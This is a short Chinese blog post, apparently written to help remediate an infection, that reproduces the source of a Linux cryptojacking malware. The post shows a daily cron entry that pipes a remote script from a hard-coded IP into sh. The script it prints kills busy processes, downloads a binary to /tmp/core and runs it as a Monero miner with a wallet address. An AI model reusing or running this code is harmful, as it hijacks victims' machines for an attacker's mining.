linux core病毒挖矿病毒定时器(源码)

末蓝、 2023-01-19 11:49 19阅读 0赞

根据源码,定向解决问题

#每天定时下载
    @daily wget -O - -q http://146.196.83.217:29324/xxl/coreProcess.sh | sh > /dev/null 2>&1

#!/bin/sh
    /bin/ps axf -o "pid %cpu" | awk '{if($2>=90.0) print $1}' | while read procid
    do
    kill -9 $procid
    done
    zero=0
    process=`ps aux | grep 'HbewXurEWNdeWNtj' | grep -v grep| wc -l`
    if [ "$process" -eq "$zero" ]; then
    	if [ -f /tmp/core ]
     	then
     	/tmp/core --coin monero -o xmr.f2pool.com:13531 -u 46YngqQEZQ6HYhqP7noesGdoecXZRM2jR16t7RKTbhW4TtqdKUQyggs3x7pADEWvpr5ySbesyQQwJfaHbewXurEWNdeWNtj.xxl -p x -k --donate-level=1 -B --cpu-max-threads-hint=70
     	echo started existing
     	else
     		wget -q http://146.196.83.217:29324/xxl/core -O /tmp/core
     		chmod +x /tmp/core
     		/tmp/core --coin monero -o xmr.f2pool.com:13531 -u 46YngqQEZQ6HYhqP7noesGdoecXZRM2jR16t7RKTbhW4TtqdKUQyggs3x7pADEWvpr5ySbesyQQwJfaHbewXurEWNdeWNtj.xxl -p x -k --donate-level=1 -B --cpu-max-threads-hint=70
     	fi
    else
    echo "process runing"
    fi

发表评论取消回复

表情：

评论列表（有 0 条评论，19人围观）

还没有评论，来说两句吧...

相关阅读

相关【安全】查杀linux挖矿病毒 kswapd0

按照腾讯云报道，此次攻击为“亡命徒（Outlaw）僵尸网络”该僵尸网络最早于2018年被发现，其主要特征为通过SSH爆破攻击目标系统，同时传播基于Perl的Shellbo...

喜欢ヅ旅行/ 2024年04月26日 10:49/ 0 赞/ 66 阅读

相关 Linux被kdevtmpfsi 挖矿病毒入侵

Linux被kdevtmpfsi挖矿病毒入侵一. 错误信息先上阿里云上的报警信息。有个最大的问题是：top命令查看自己服务器CPU运行情况，会发现kdev

你的名字/ 2023年07月21日 08:52/ 0 赞/ 9 阅读

相关通过限制挖矿病毒cpu占用率来解决挖矿病毒,简单奏效

中了挖矿病毒尝试使用了删除病毒脚本最终无效尝试使用定时任务的方式去处理病毒,发现定时任务被锁定,会自动修改定时任务.看了好多帖子处理这个病毒很是麻烦,下面使用工具进行处

以你之姓@/ 2023年06月27日 11:13/ 0 赞/ 13 阅读

相关 linux core病毒挖矿病毒定时器(源码)

根据源码,定向解决问题每天定时下载 @daily wget -O - -q http://146.196.83.217:29324/xxl/coreProc

末蓝、/ 2023年01月19日 11:49/ 0 赞/ 20 阅读

相关服务器中了挖矿病毒怎么办

前言服务器好端端的竟然中了挖矿病毒！！！可怜我那 1 核 2 G 的服务器，又弱又小，却还免除不了被拉去当矿工的命运，实在是惨啊惨。事情原来是这样的。。。就

亦凉/ 2022年12月25日 08:53/ 0 赞/ 239 阅读

相关 kdevtmpfsi挖矿病毒删除

[https://blog.csdn.net/qq\_45186545/article/details/103853601][https_blog.csdn.net_qq_4

喜欢ヅ旅行/ 2022年12月22日 00:52/ 0 赞/ 256 阅读

相关记一次挖矿病毒处置

记一次挖矿病毒处置 CPU一直飙高，但是查看top命令，没有查到使用CPU很高的进程，挖矿病毒pid被隐藏了。 ![watermark_type_ZmFuZ3poZW5

曾经终败给现在/ 2022年12月18日 15:00/ 0 赞/ 282 阅读

相关 Linux 病毒kdevtmpfsi被挖矿的解决办法(四) 定时脚本删除挖矿病毒脚本

\!/bin/bash chattr -ia /root/.ssh/authorized\_keys echo "自己定义rsa" > /root/.ssh/author

落日映苍穹つ/ 2022年10月29日 06:29/ 0 赞/ 291 阅读

相关挖矿病毒xmrig的保守疗法

挖矿病毒xmrig一般在cpu比较闲的时候会触发，并且会占用cpu 99%，造成本机资源极大浪费。在网上搜了半天，没有发现好的解决办法，否则就只能重装操作系统了。

客官°小女子只卖身不卖艺/ 2022年05月24日 11:17/ 0 赞/ 1177 阅读

相关 Linux 服务器上有挖矿病毒 kdevtmpfsi 如何处理？

本文转载自：[https://my.oschina.net/u/4437985/blog/3168526][https_my.oschina.net_u_4437985_bl

亦凉/ 2021年07月09日 14:46/ 0 赞/ 557 阅读